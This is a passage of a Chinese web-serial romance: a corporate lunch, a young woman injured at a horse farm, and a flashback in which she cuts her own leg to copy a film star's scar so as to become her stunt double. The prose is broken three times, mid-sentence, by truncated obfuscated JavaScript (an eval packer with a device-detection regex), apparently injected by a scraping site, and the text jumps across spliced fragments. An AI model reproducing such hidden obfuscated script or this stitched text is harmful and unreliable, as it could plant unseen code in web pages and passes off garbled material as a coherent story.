裴挽棠:“不过。” 李尽兰:“不过什么?” 裴挽棠手下移,笼住何序一侧耳朵,另一侧贴紧自己脖子,抬眼看向李尽兰。 裴挽棠眼神平静,声音也温和礼貌,但说出来话锋芒毕露:“谈小姐现在正是好年纪,样貌好,出身好,也有能力,没必要总把眼睛往别人的东西上放,您说是吗?” 李尽兰笑容一梗,精明目光从何序身上扫过,速度非常快,期间停顿、某一瞬间陡然加深都像是情绪毛刺一样,让人无法察觉。她知道裴挽棠不想让何序听见这段对话,就也压低了声音:“裴总请放心,在管教孩子这件事上,我勉强算得上经验丰富。” 裴挽棠:“那我就拭目以待了。” 李尽兰:“绝不会让裴总失望。” 李尽兰先行离开,去了包厢。 霍姿下楼等着。 休息室门口只剩下裴挽棠和何序两人——后者静得像是连呼吸都消失了,没有一点声音。 裴挽棠目光动了一下,情绪尚未露出来,何序忽然退离她的怀抱,抬着头说:“我能不能不吃午饭?” 说话的何序嘴角上扬,瞳孔发亮,笑容灿烂得裴挽棠有一秒失神,像是透过眼前这个笑看到了过去那个人。她手指微动,朝向何序,下一秒,眼波被窗外的鸟叫打乱,顷刻恢复成高高在上的裴总:“你说呢?” 何序的笑容淡下来:“可是我不饿。” 裴挽棠:“不饿就能不吃?” 何序:“你们谈的事我又听不懂,我现在什么都不会,身份也尴尬……” 裴挽棠:“哪儿尴尬?” 何序:“……” 何序的笑容彻底消失,眼神发散又聚焦,反复了几次,笑容比之前更加灿烂:“你真就那么讨厌我啊?” 都已经把我的尊严踩碎了,还要把我带到人前被指指点点;都已经把另一人放进钱包了,还要把我留在床上作践羞辱。 真的太讨厌了啊。 何序笑望着裴挽棠,等她不会出现意外的回答。 裴挽棠被那笑容刺伤似的,目光骤然沉底:“你做过什么,自己心里清楚。” 何序:“嗯,清楚,那你以后就不要再给我钱了,我现在没有花钱的地方,你也没那个义务。” 裴挽棠:“你觉得我给你钱是因为什么?” 何序:“等价交换,一开始就是这样,不过现在是我对不起你,该是我还你,你……” “何序!” “……” 何序抬头,在裴挽棠脸上看到了熟悉又陌生的怒火。 熟悉感让她脚踝剧痛,浑身发冷,陌生感让她无所适从,找不到办法解决。 两人就这么僵着。 霍姿迟迟等不到裴挽棠,顺着楼梯上来时,沉默被打破,裴挽棠收敛脾气说:“不吃饭可以,让霍姿带你去摘樱桃补充糖分。” “不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李尽兰说:“谈茵,不要明知故犯,往枪口撞。” 谈茵:“何序要是过得好,我不止能说服自己不打扰她,还会祝福她。可是她过不得好,我怎么可能坐视不理?大一入学,我见她第一眼就喜……” 李尽兰:“谈茵!” 李尽兰的呵斥像又一记耳光打在谈茵脸上。 谈茵耳边嗡嗡作响,只能听见很隐约的声音,“别惹我发火,”李尽兰说,“真到我亲自处理那一步,你会比自己主动断了念想后悔百倍。” “叩叩。” 敲门声在李尽兰话音落地的同时响起。 李尽兰立刻恢复一身体面,柔声对谈茵说:“茵茵,你是我唯一的女儿,任何时候我都不会害你,你现在能看到的,以后都是你的,你看不到的,我也会倾尽全力替你争取,你会成为下一个裴挽棠,甚至超过她,但前提是你听话,懂吗?” 听话? 当牵线木偶的意思? 谈茵看着李尽兰熟悉的面孔,忽然觉得那个疼爱了自己二十七年的母亲极为陌生。 “如果我就是不听呢?”谈茵问。 李尽兰面带微笑:“那妈只能把希望寄托在何序身上,想办法让她知难而退了,可你说,她有什么错?她都不知道你的心思,就要为你的行为买单。” 谈茵:“…………” ———— 饭局准点开始。 临湖的包厢视野开阔,听得也远,毫无征兆来一道马的嘶鸣声传来,裴挽棠一改先前温和,冷了脸:“这里养马了?” 李尽兰意识到不对,谨慎地说:“东边新建了一座马场,不过隔了湖,马跑不过来。” 裴挽棠:“我要一道多余的叫声都听不见。” 这未免强人所难。 李尽兰还是招来助理,让她想办法处理。 包厢里一直静着,直到马叫声真的消失,裴挽棠才拿起净手的热毛巾,融了眼底那层寒冰:“李总应该清楚,寰泰有最专业严苛的评估团队,能不能合作,能合作到什么程度,决定权在他们手上,我向来不干预。” 李尽兰:“裴总明人不说暗话,我也就不藏着掖着了,今天请裴总来,只是想要一个投标的机会,能不能中全看安诺造化。” 裴挽棠视线扫过一言不发的谈茵,淡声道:“只要李总诚意够,寰泰会好好考虑。” 李尽兰和谈茵都听出了裴挽棠的话外音。 李尽兰适时递给谈茵一个警告的眼神,按捺住她,随即笑得游刃有余:“那就多谢裴总了。敬你。” 裴挽棠:“李总客气。” 饭局在一声声恭维中乏味地进行着。 临近尾声,李尽兰助理出去接了个电话,再回来,神色透着焦急。 “李总——” “有话直说,吞吞吐吐像什么样子。” 助理看一眼裴挽棠,脊背都在冒汗。 “和裴总一起来的那位小姐在马场出事了。”助理说。 尾音没散,始终和李尽兰有来有往,八风不动的裴挽棠已经大步离开座位,眨眼消失在包厢门口。助理只看到她往出的时候,左腿磕在桌腿上,一瞬间白了脸色。 9. 第 9 章 不顾形象地狂奔,抢过摆渡车的方向盘疾驰,自行驾船渡湖…… 霍姿从没见过这么失控的裴挽棠。 失控得有些恐怖。 失控得霍姿难以理解。 直到挤开马场工作人员,看见躺在地上毫无生气的何序——她很白,这会儿血从头发里流出来,糊了满脸,更衬得那白是没有生气的苍白。 裴挽棠一把拉开马场的兽医,跪在何序身边,摸她的脸。 “何序,何序……” 轻得隐隐发抖的声音。 裴挽棠整个人又是绝对的低压冰冷,紧绷中透着随时可能对外发作的暴戾。 被安排陪何序去摘樱桃的女孩儿小莫一见裴挽棠这副模样,吓得脱口道:“是何小姐自己跑来这儿的,不关我的事啊!” 霍姿的注意力原本全在裴挽棠身上,闻言眼眸骤深,变了面目:“李总,您就是这么教手底下人说话的?” 李尽兰脸上青一道白一道,难看至极,除了庆幸及时让人把谈茵拦在包厢,不会造成更大的麻烦之外,找不到任何一个可以反驳的点,只能把气撒在助理身上:“还不马上备车,送何小姐去医院!” “不必!” 裴挽棠横抱着何序起身,周身阴郁让人不寒而栗:“身边的人教不好就算了,手底下的人也管不了,李总,今天这面我们就当没有见过。” “裴总……!” “但如果她有什么闪失,”裴挽棠抬眸,只一眼,李尽兰旁边战战兢兢的小莫直接腿软地摔在地上,裴挽棠居高临下,声音低压冷酷,“今天在场的,一个也脱不了干系。” 留下这么一把悬而不决的刀,裴挽棠抱着何序大步离开。她的步子很快,浅色西装裤上血迹斑斑。 尤其是左腿,血色正迅速连成一片。 可分明,何序受伤的是头,稳稳靠在裴挽棠颈边。 霍姿胸口发紧,一个侧步挡住裴挽棠的去路:“裴总,我来吧……” “砰!” 霍姿被直直撞开,半边身体疼到发麻。 同样承受了这股力道的裴挽棠却像感觉不到一样,眨眼功夫就抱着何序走出数米。 霍姿只得忍痛快步跟上。 小莫知道自己闯了祸,跌坐在地上哭哭啼啼:“李总,真不关我的事啊,何小姐说她想吃蛋糕,让我去拿,我就去了,谁知道一个来回的功夫,她就被马攻击了,我真的不知道怎么回事!” 李尽兰脸色铁青,但尚有理智:“她让你去拿蛋糕的时候,有没有什么不对的地方?” 小莫一愣,陷入回忆。 ———— 一个多小时前,小莫按照李尽兰的吩咐,陪着何序来了果园,即使现在还没完全到樱桃季,严格控制温度的果园里也已经充满了夏日气息,葱郁树枝上挂着的果子颗颗饱满,鲜红欲滴。 小莫拿来篮子,说:“何小姐,是您自己摘,还是我帮您摘?” 何序像是失了魂一样站在果园入口,过去足足五六秒才说:“你帮我摘吧,谢谢。” 小莫:“您客气了。那您随便找个地方休息,我很快回来。” 何序:“嗯。” 何序就近找了棵樱桃树坐下,整个人安安静静的,周遭全是果树被拽动的悉索声。 蓦地一声嘶鸣传来。 何序瞳孔震颤,抿紧了嘴唇。 小学三年级哪一次放学,她和同班一个小孩儿一起被马袭击过,她有幸捡回来一条命,那个小孩儿当场没了呼吸。 当时的画面很血腥,那个小孩儿的头骨都被踩碎了,脑浆在地上淌。 她亲眼见过那一幕,吓得直到今天也还是对马这种生物充满恐惧,本能地把头埋在膝盖上,用手捂住耳朵。 时间一分一秒地过去,再没有任何一声嘶鸣传来。 何序逐渐放松下来,吃了几口樱桃,她发虚的视线轮询着,不知不觉投向马叫声传来的方向。 “何小姐喜欢马?”小莫蹲在何序身边问。 何序晃了一下神,说:“喜欢。” 小莫:“那以后有机会让裴总再带您来啊,今天肯定是不行了,马场刚从国外引进了几匹赛马,还在适应期,非专业人员靠近很危险。” 何序:“……是吗?” 小莫:“是啊,赛马很凶的。” 小莫笑笑,把篮子推向何序:“何小姐继续吃啊,今年的樱桃尤其甜。” 何序点点头,慢吞吞吃了一颗,忽然说:“裴总说这里的甜品很不错,我想吃蛋糕了,你能不能帮我拿一块过来?” 小莫:“那有什么问题,您等我啊,我这就去拿。” 何序:“谢谢。” 小莫:“不客气不客气。” 小莫很快跑开。 何序沉默着吃了三颗樱桃,咬碎核,起身拍了拍身上的草屑,朝湖边走。 ———— “衣服!对!衣服!”小莫手忙脚乱地爬起来说:“何小姐衣服是湿的!是她自己过湖来的马场,和我没关系!” 李尽兰:“但凡你警惕一点,她能有机会自己过来?!” 小莫张口结舌,脸上煞白:“何小姐不会有事的吧……” 李尽兰:“你最好从现在开始这么祈祷。”否则别说是合作,安诺现有的那点市场份额恐怕都会被寰泰吞得一分不剩。 也有另一种可能:寰泰高层因为个人性癖好,逼死了人。 那不就有趣了。 李尽兰恶毒地想。 可惜裴挽棠不可能允许这种意外发生。 开往市区的车上,何序被裴挽棠抱在怀里,意识短暂清醒过一阵。这种清醒带来的只有疼痛和马蹄踏过来的恐惧,她挣扎着要躲,被裴挽棠一把按回怀里:“你想死是不是?” 何序竟然就不动了,像是默认。 她这反应无疑是火上浇油,顷刻就将裴挽棠压抑着的情绪掀翻。 裴挽棠低头贴在何序耳边,□□:“没用的何序,你就是真死了,我也有办法让你死不瞑目,每天主动过来找我。” “你知道的,我有办法。” “……” 何序闭着眼睛,意识再度变得昏昏沉沉。 一片静默中,她眼泪往下滚,掉在裴挽棠手臂上。 裴挽棠一动不动接着,皮肤被反复灼伤。 医院,佟却已经带人在等——裴挽棠在听到何序出事第一时间就给她打了电话——裴挽棠一抱着何序下车,马上有人接手。 裴挽棠跟着平板车往里跑,到急诊被拦在外面。 因为停车晚几步过来的霍姿欲言又止片刻,上前说:“裴总,这边我盯着,您去处理下腿。” 裴挽棠像是没听见,一身笔直地站在墙边,盯看着人来人往的急诊。 不久,一起车祸危重伤员被宣告死亡。 又不久,霍姿回寰泰替裴挽棠开会。 急诊的人还是很多,来来往往,同一个位置换了无数张脸,只有裴挽棠站的这一处始终是静止的,时空仿佛凝滞。 佟却抬手让其他人不用跟着,独自走到裴挽棠面前,叫了她一声:“阿挽。” 裴挽棠回神似的动了一下,看向佟却:“人怎么样?” 佟却:“外伤加轻微脑震荡,休息一阵子就没事了,倒是你,知道腿不行还非要逞强,不疼?” 裴挽棠说:“不疼。” 佟却皱眉:“阿挽……” 裴挽棠:“我去看看她。” 佟却:“站住!” 佟却年过五旬,一身威严,医院里没一个人敢顶撞她,也就这个闺蜜的女儿,每回见她都我行我素,从来不知道什么是遵医嘱。 这要换在平时也就算了,破点皮而已,佟却还真信裴挽棠忍得了。 可现在明明半个裤腿都被血染红了,她就是铁打的身体也该有点感觉。 况且—— 残肢不比正常人。 疼起来是要人命的疼。 佟却竭力忍住心疼,端出长辈架子压裴挽棠:“跟我去处理伤口! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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佟却一直将这个请求谨记在心,严格执行,她怕再不开口,裴挽棠真会把自己逼到无法挽回的地步。 裴挽棠却是礼貌又冷漠:“佟医生,你越界了,这是我的私事。” 佟却愣住,她一番掏心掏肺的话被视作越界?“好好好,你的私事!”佟却一下子气笑,“有本事你下次不要给我打电话,我倒要看看是何序命硬,还是你嘴硬!” 佟却脚下一转,大跨步离开,毅然决然的背影好像真不打算再管何序。 裴挽棠慌了一样朝前走出一步,手攥到发白,嘴唇绷直,半晌,在佟却即将拉开另一扇门离开之前,高傲的人低吼出声:“这话你应该问她!” 佟却动作顿住。 裴挽棠:“问她既然早就决定那么半死不活的活着,为什么还要去招惹别人;问她既然都已经觉得命是用来认的,为什么还非要强迫别人把步子跨出去;再问一问她,我到底哪里得罪她了,她要那么对我!” 佟却第一次从裴挽棠口中听到过去的事,尽管只有只言片语,还是让她瞬间提起了心脏:“阿挽……” 裴挽棠双眼红得惊人,快赶上她裤子上的血:“你们应该问她怎么捧起我又践踏我!问我愿意为了她舍弃一切,低声下气的时候,她怎么回报我!问后来的庄和西究竟有哪里对不起她,她要一刀捅死她!” “阿挽!” 佟却快步走过来想碰裴挽棠。 裴挽棠抬手避开,低垂的眼皮竭力想隐藏眼底的受伤:“佟姨,你们应该去问她,不是我。” 竭力克制,还是隐隐不稳的声音。 佟却到这一秒才陡然反应过来,没有人会无缘无故变坏,所有事情的发展都有因果。 她太清楚了这点了。 裴挽棠和何序还水火不容的那一年,她在替何序说话的时候,就已经明明白白提醒过裴挽棠看事情不要只看表面,要试试发现背后的逻辑,那现在为什么不能换位思考,来理解裴挽棠,而是对她一味指责质问? “阿挽……” 歉疚铺天盖地袭来。 可裴挽棠已经不给佟却道歉的机会了。 裴挽棠拖着伤了多少年,就疼了多少年的腿朝侧门走。 傍晚的夕阳斜过来,拉长她的影子,风化她的轮廓,好像在一秒一秒地,把她的时间退回到和何序初遇那年。 那年她还是演技备受赞誉的青年演员庄和西。 没演过刚从材料化学毕业的老实大学生何序。 10. 第 10 章 【2021年初春】 通往暮光里的300路公交摇摇晃晃着一路向西,何序坐在最后一排的角落里,低头看着手机。 手机亮度已经调到了最低,仍然有种晃眼的感觉。 何序忽略四周花花绿绿的闪图,顺着网贷入口点进来。 #私人贷款 | 无贷款前费用 | 当天放款# 各种让人心动的关键词被加粗置顶,何序只需要轻轻点一下中央的“立即申请”按钮,就能马上进入贷款流程。 有钱日子就好过了。 何序悬在屏幕上方的拇指挪到手机侧面抹了抹,又挪回来—— “暮光里,到了,请从后门下车。We are now……” 公交到站的语音猝不及防,像尖锐的警铃,瞬间将何序快要走失的理智拉回到正轨。她有些慌张地锁了手机下车,闷头往“404 BAR”走。 “404 BAR”是何序工作的酒吧,每天工作时间从晚上九点到第二天五点,她到的时候已经是八点五十,急匆匆换了制服立刻投入工作。 马不停蹄三个小时,高峰期总算过了。 何序搓搓被口罩勒得发疼的耳朵,过来后面的员工休息室歇脚。 里面烟雾缭绕,已经聚了好几个人。 看到何序进来,驻唱乐队的主唱Rue姐连忙按了手里的烟,一边跑去开窗通风,一边让其他几个人也赶紧把烟掐了,免得带坏小孩儿。 乐队吉他Sin姐调侃她还没到当妈的年纪,先有了当妈的意识。 Rue姐气得推Sin姐一把:“你懂什么,何序满打满算也就二十一,小得我一看到她在后门搬酒就心疼。” Sin姐:“下次你帮她搬?” Rue姐微微笑:“腰很不好,你不是知道?” Rue姐朝何序招招手,等她过来了,递给她一个汉堡,笑眯眯地说:“跑了一晚上,累不累呀?” “小心嗓子夹冒烟。”Sin姐见缝插针刷存在感。 Rue姐:“有多远滚多远,别让我请你。” Sin姐耸耸肩,靠在旁边。 Rue头一扭回来,又是满脸慈祥。 何序摘下口罩揣兜里,眼睛也变得弯弯的,如实说:“累。” Rue姐:“你还是太老实了,打工哪儿有不偷奸耍滑的。” 何序大口吃着汉堡,只笑不说话,把Rue姐看得不止没脾气,还心软软。没办法,她这辈子没别的癖好,就爱跟白白净净香香软软的女孩子做好朋友。 Rue姐从Sin姐嘴里抢下瓶水给何序,等她吃饱喝足了,突然正色:“十点那会儿,我看Rogue把你单独叫出了,他和你说了什么?” 何序:“问我愿不愿意转做酒推。” “404 BAR”里的人都知道何序缺钱,做酒推有提成,也的确比普通服务生赚得多,但Rue姐还是想说:“Rogue这个狗东西,看到个年轻漂亮的就想往包厢里送。” 天下没有免费的午餐,想把那些贵得咋舌的酒推销出去,有几个不需要低头赔笑,牺牲色相?更有甚者,就为那万把块,最后哭都没地方哭。 “你答应了?”Rue姐眯着眼睛问何序,眼神里的危险摆明是说“你敢点头我就敢动手”。 何序偏还就点点头,说:“没有。” Rue姐手伸一半不尴不尬,顺势落下来晃晃何序脑袋:“以后尽量言行一致,免得误伤。” 教育完人,Rue姐把话题拉回来说:“不管Rogue把这事儿说得多天花乱坠,你都不能答应。你平时一直戴口罩,我都控制不住想捏你脸,真要跑去做酒推,还不得让那帮人生吞活剥了。” Sin姐“嗯”了声,接着Rue姐的话往下说:“你来得时间短,再过几个月就知道干净的人在暮光里这地方有多招摇。” 尤其何序这种一看就没经过社会毒打,从皮囊到心理都干干净净的,戴口罩也藏不住瞳孔里那股子纯澈。 暮光里没人羡慕这种特质。 相反的,来消遣的都想得到,因为特别,想要占有;来工作的都想毁掉,因为没有,想要平等。 何序说:“可是做酒推钱多。” Rue姐:“你就芝麻点大年纪,既不着急结婚生孩子,也没有房贷车贷压力,要那么多钱干什么?听说你白天还有一份工?” 何序没否认。 Rue姐脑子里灵光一闪,急了:“你别是谈了个好吃懒做的,pua你赚钱养他呢吧?我可告诉你啊,你恋什么都别恋爱脑,就现在这世道,三条腿的瘸子狗都比两条腿的臭男人可靠。” 何序忍俊不禁,说:“没谈。” Rue姐手痒地捏捏何序脸颊:“没谈就好,再长长,你能遇到最好的。” 何序:“嗯。” Rue姐心又化了,嘴上说着自己性取向女,让何序收敛点,别老对自己笑,手里是一点不客气,捏完她脸又换耳朵。 窗边到底没舍得掐烟的调酒师Lyric吸完最后一口,说:“我倒是觉得转做酒推没什么不好,等做到VIP包厢,一晚上赚二十万都有可能。” 何序眼睛微亮:“真的?” Rue姐:“假的,月入10万+的酒推都已经是行业TOP了,日入二十万你想什么呢。” Lyric:“之前带我们的Vice姐不就做到了?” Rue姐:“她那是特例。” 何序问:“什么特例?” Rue姐本来不想提,奈何何序眼里的期望太满,她怕何序哪天脑子一热真答应Rogue,这才说:“Vice姐那天服务的是个大明星,高档酒当矿泉水一样的点,小费给得也多,但……” 何序:“但什么?” Rue姐摩挲着打火机,脸色不太好看:“全程跪着服务,最后还被灌酒灌到胃穿孔了。” 何序没了声音。 Sin姐知道Rue姐和Vice姐感情好,走过来握了握她的肩膀,对何序说:“那晚的二十万块跟买Vice姐全部的尊严和半条命没什么区别,不划算,再者,大明星也不会天天来这种地方,被娱记拍到什么新闻都能编出来。” 何序:“……哦。” Rue姐:“哦什么哦,Sin这话的意思是让你别心存幻想,踏踏实实当你的服务生,懂?” 何序说:“懂。”然后问:“那个大明星叫什么?” Rue姐怒目:“你还往这里想呢?!” 何序:“不是。” “那你问?” “我就是觉得那个208挺坏的,记住她的名字好避雷。” “你个小穷鬼还学人追星?” “不追。” “那你避哪门子的雷?” “现在还不清楚,说不准以后就知道了。” Rue姐被何序贷款雷点的优秀想法乐得笑倒在Sin姐身上,中途Rogue过来催人,Rue姐才抹抹眼角说:“庄和西,那个大明星叫庄和西。” 何序在心里默念一遍,这一晚只记住了她的名字,还不知道是哪三个字。 四月初,庄和西主演的新剧开播,Rue姐看着铺天盖地的微博热搜,忽然道:“何序,说起来你和这个庄和西还有点像。” 何序:“哪儿像?” “身形。”Rue姐用双手比了个相框对着何序,“如果你们穿同一件衣服,转身背对大众,我敢保证,这世上百分之90%的人都分不清你们谁是谁。” “Sin爱画女人的裸体,我耳濡目染,这双眼睛被她调教很毒辣,不会看错的。”Rue姐补充,“前提是,你得有人家庄和西那气质和线条。你瘦是瘦,没一点肌肉。” 何序低头看看自己胳膊,觉得Rue姐所言极是。 Rue姐说:“‘如果人的个性和四季对应,那何序应该长在最从容最干净最清透也最舒服的季节。’当初让你做自我介绍,你不是说你同学这么评价你的么,庄和西给人的感觉和你截然相反,她十分具有冲击力,是那种锋芒毕露的美。” “算了,你们还是不一样,完全不一样。”Rue姐盖棺定论,咬了支烟起身,凑在Sin嘴边点。 她的手机还在桌上放着,何序看着屏幕里庄和西的照片,也觉得自己和她天差地别,不是一个世界的人。她的钱,她应该没什么机会赚到。 何序整了整制服的领结,戴上口罩继续工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“总有她做不来的,或者轮不到她亲自上场的呗,比如光替、手替、脚替……” “唉对,我还真听一个做艺统的朋友说,庄和西选替身就一个标准,和她身形像。” 何序步子微顿,下意识低头看了眼自己被拉长在地上的影子——高高瘦瘦,要是再多点气质,练点肌肉就和庄和西很像了。 早上五点下班,何序在路边摊对付了几口饭,过来公交站等车。她手机里有月结工资的短信通知,也有扣款的,前者一条,后者接连三条,扣完之后的余额看着有点寒碜。 “嗡——” 手机震了一下。 Rogue发微信过来说酒吧最近的生意不好,让何序想想清楚,要么转去做酒推,要么降薪。 再降她卡里的余额要成负数了。 做酒推…… 何序都能想象Rue暴躁的模样。 那还有什么办法能吃饱饭呢? 何序回复Rogue会好好考虑,然后装起手机,靠在公交后排慢慢睡了过去。 今天这趟公交急,摇得何序睡不踏实,经过“鹭洲之瞳”——市中心的一块大屏——何序恍恍惚惚睁开眼睛看了眼。 大屏里正在播放庄和西新剧的片段,她把封建父权制下的女主角演得很有魄力,她本人看起来很贵,很冷,很好看。 “哐!” 公交猛地一个颠簸,何序脑袋磕在车窗玻璃上,彻底清醒了,看着鹭洲之瞳的眼睛跃起一簇光。 人不是说么,富贵险中求,搏一搏,说不定单车就变摩托了。 她想赚庄和西的钱。 这么可恶的208,出点血是她应得的。 不就半条命,她有。 主意一定,何序也不管演员替身的选择标准、流程是什么,很着急地回到住处把门锁死,拉上窗帘,打开灯,往嘴里咬了两根筷子,手里拿着一把刀子。 旁边桌上是打开的手机。 手机里是庄和西的高清照片。 何序把照片放大,定位到庄和西右腿的伤疤上,看了几秒,刀子朝自己小腿的同一位置划下去。 **** 【何序的日记】 2021年4月3日,晴 今天第一次听到刀子划开皮肉的声音,第一次知道那种疼要同时咬断两根筷子才能忍住不哭。 但是没关系,我有了和庄和西一样的伤疤。 我想做她的替身,想要很多很多钱,想吃最甜的蛋糕和最红的樱桃。 11. 第 11 章 之后一个星期,何序通过各个平台,加入了各种庄和西的粉丝群,试图通过粉丝分享探听一些庄和西替身的小道消息,了解她的脾气秉性、喜厌好恶,同时想尽办法收集她的话题、照片,整理成册。她用七天时间,对一个陌生人可见的生平倒背如流。 一个星期后,何序腿上的伤好了,马上开始有针对性的健身,想复刻出和庄和西一样的漂亮线条。那些从官方渠道、粉丝群、微博广场……收集来的庄和西的照片是她的最佳参照物,就钉在她那张单人床正对的白墙上,每天睁眼就能看到。 何序的生活日记先变成了关于庄和西的私生记事,紧接着又成了她狼狈的健身记录,她因为太久没运动的缘故,身体和心理都适应得极为痛苦,每天既盼望下班,赶快去运动,又希望时间慢一点,多休息一会儿,最后还是在河边的塑胶跑道上吐过,在公园的单杠下摔过,在出租房的地砖上,从日上三竿一直晕到星垂平野。 Rue劈手把Sin刚咬进嘴里的烟抢过来,一连深吸两口,焦躁地看着门口:“都十点了,何序怎么还没来?电话也不接,微信也不回,不会出什么事了吧?” Sin侧身过来,摸了摸Rue耳下的痣:“再等十分钟,还联系不上的话,我陪你去找。” Rue转头看着Sin:“我不知道何序住哪儿。” Sin蹙眉。 那就难办了。 就在两人一筹莫展的时候,一股糖分轻微焦化后的甜香气从身后传来。 两人同时回头。 何序怀里抱着一个牛皮纸袋,口罩半摘说:“刚出炉的老式鸡蛋糕,吃吗?” Rue想吃人。 Rue几个跨步过来,把何序往墙上一堆,严肃审问:“晚上干嘛去了?为什么迟到?” 何序很想说晕倒了,晕了一整天,现在腿疼、胸口胀、喉咙涩,浑身上下哪儿都难受,话到嘴边抿了抿,弯着眼睛撒谎:“来例假了,肚子疼。” Rue顿时什么脾气都没有了,还很给面子地一把抓俩鸡蛋糕,全塞Sin嘴里,柔声问何序:“还能不能坚持?有一点不能就回家去。” 何序说:“能。” Rue瞪眼,根本没法相信一个脸上要点血色都没有的人说的鬼话,但也知道,有些人就是缺那一晚的工资,不敢休息。 比如她和Sin。 所以Rue没多说什么,只是之后一整晚,唱歌不专心,眼睛不错位,全程紧盯何序。 还好没出什么事。 下班之后,Rue拉着何序,请她吃了顿好的,然后各回各家。 何序把钥匙挂在猫耳朵上——一只石膏猫的猫耳朵,Rue买的,指挥Sin涂的——走到照片墙的前,和正中央的那个“庄和西”对视。 那个“庄和西”穿着警服,有一双很犀利的眼睛,能洞察人心。 何序自从找到这张剧照,每天都会和里面的人对视,练习胆量。她很少这么处心积虑地去做一件事,接近一个人,很心虚,也很心慌,所以要提前适应,免得露馅儿。 十分钟后,何序眨了眨发酸的眼睛,洗漱睡觉。 睡到十二点起来吃饭、健身、打第二份工。 生活一日重复着一日,关于庄和西新替身的小道消息始终没有出现。 何序有点失望,但又没什么门路,只能闷头等着。 转眼六月,天气热得猫都不想下地。 何序忙完一阵过来休息室,一边吃Rue给的甜筒,一边在各大粉丝群里巡逻。 【昝凡到底有没有在做事啊!】 昝凡,庄和西的经纪人。 何序不经意看到这句,立马停下继续巡逻的动作,在群里留守。 【和西姐的武训枪训都开始两个月了,还是只有她一个人!】 【不会吧,以往为了剪辑不穿帮,替身都是和和西姐同吃同训,尽可能确保两人的节奏啊,发力方式啊,握持姿势这些一致,这次在干嘛?这么重要的电影。】 【真的,我们今天探班,只看到和西姐!】 【会不会是新替身还没找到?】 【啊啊啊!昝凡在干什么呢,她不会是想让和西姐亲自完成所有高危动作吧!】 【太危险了!事情都过去好几个月了,我一想到替身被直直甩到山壁上的画面还是会浑身发毛!】 【谁不是!我睡着都能给吓醒!】 【大家听我说,现在立刻马上去私信昝凡和工作室,给她们压力,不然下一个全身多处骨折的人可能就是和西姐!】 【对!电影开拍之前,一定要逼昝凡给和西姐找到新替身!】 群里的消息突然变得热血激愤,刷新速度很快。 何序看不清楚,只隐约扫见一个很醒目的橙色聊天气泡从眼前闪过去。她作为混了两个月粉丝群,已经很有经验的老人,咬一口蛋筒,伸手把聊天记录往回滑。 果然是庄和西,毫无征兆空降,说:【替身也是人】 这话没错,说得很有做人的底线。 但也容易被解读为庄和西在教育粉丝,一不小心就要面临脱粉回踩的危险。 何序目光微侧,看着头像框里的庄和西想:还是和Rue姐说得那个喜欢随意践踏别人尊严的大明星不太一样。 如果只是立人设,有必要做到这个程度吗? 这年头谁不知道,得罪谁都不要得罪粉丝。 那如果不是人设,她还能从这个人身上赚到很多很多钱吗? 何序头后仰靠着休息室的墙壁,仔细核算打两份工、三份工的月收入高,还是当庄和西的替身——没有类似Vice那二十万块的额外收益——收入高。 群里的消息还在刷。 距离“404 BAR”不到十公里的星曜传媒,昝凡靠在办公桌边,想把庄和西的手机没收了。 “你要么一年到头一句话不说,要么一开口把自己往风尖浪口推,我真得好好谢谢你,一天好觉都不让我睡。”昝凡很不客气地说。 庄和西切出群聊,锁屏手机:“我说错了?” 昝凡:“态度错了,粉丝要哄。” 庄和西:“更要泼冷水,让他们保持清醒。” 昝凡不想同意,却也无从反驳,随手抄了瓶水扔给庄和西:“新替身我可前前后后替你找了十三个了,真没一个看上的?” “咔!” 庄和西拧开瓶盖,水洒了一些出来在她手指上,一些顺着瓶身滚落,掉在她左腿上。她挥手轻拨,像大小不一的碎钻从膝头滚落。 “不是看不上,是不想要。”庄和西纠正。 昝凡视线从她腿上扫过:“《山河无她》的剧本你应该已经烂熟于心了,有一幕是你为了保护妹妹不被当成维护家族利益的牺牲品献给皇帝忤逆你爹,让他一枪打弯膝盖,跪在地上的戏。以你在表演上吹毛求疵的标准,势必会要求那一幕足够逼真,所以枪要用真材实料的坠手银枪,跪地要实打实的膝盖着地,但是和西,越逼真你越做不到,或者说,越逼真你那条腿要承受的痛苦就越多。” 实话通常伤人。 庄和西喝水的动作顿了一下,仰头灌进喉咙。 办公室里的氛围变得有些紧绷。 昝凡知道庄和西的底线在哪儿,不惧此刻低压,继续说:“如果那是最后一场戏,没问题,拍完之后,我给你放一周假,让你足不出户全心休养,但是可惜,那场戏在开始,就算只是为了后续拍摄进度考虑,你也不能让自己受伤。” 那就必须用到替身。 庄和西手指上的水流到手腕,摇摇欲坠。 办公室里寂静无声。 不久,一阵皮革摩擦的悉索声响起,庄和西撑了一下沙发,站起身往出走:“你看着办。” 昝凡:“不会再找理由拒绝?” 庄和西:“不会。” 昝凡:“不会面都不见就让人走?” 庄和西:“不会。” 昝凡:“不会在粉丝群里乱发言?” 庄和西:“你很烦。” 昝凡笑了声,反手拿起桌上的平板点进粉丝群。 里面一面祥和。 不对。 是一片诡异。 粉丝发言整齐到让她皱眉。 【尊重和西姐,相信工作室/大哭/大哭/大哭】 昝凡一滑五六屏,全是这句,可她今天并没有让人发庄和西和工作室的爱恨情仇宠粉。 昝凡快速爬楼。 爬了差不多三百楼,终于找到事件源头:一个昵称为“猫的星期八”,头像是只大眼德文猫的小粉丝先她一步,理性解读了庄和西此前发言——替身也是人。 【和西姐拍戏这么多年,大大小小的伤受了没有百次也有五十,她知道那种感觉不好受,所以不愿意理所当然的把危险全都推给别人,我们喜欢她就该尊重她,也要相信,工作室会保护和西姐,会把一切都安排好。】 很好。 比庄和西的执行经纪早年的发言全面、顺耳太多。 她今晚这觉能睡踏实。 昝凡绕到办公桌后坐下,有点欣慰这位粉丝的冷静。 嗯? 第一次发言的新人? 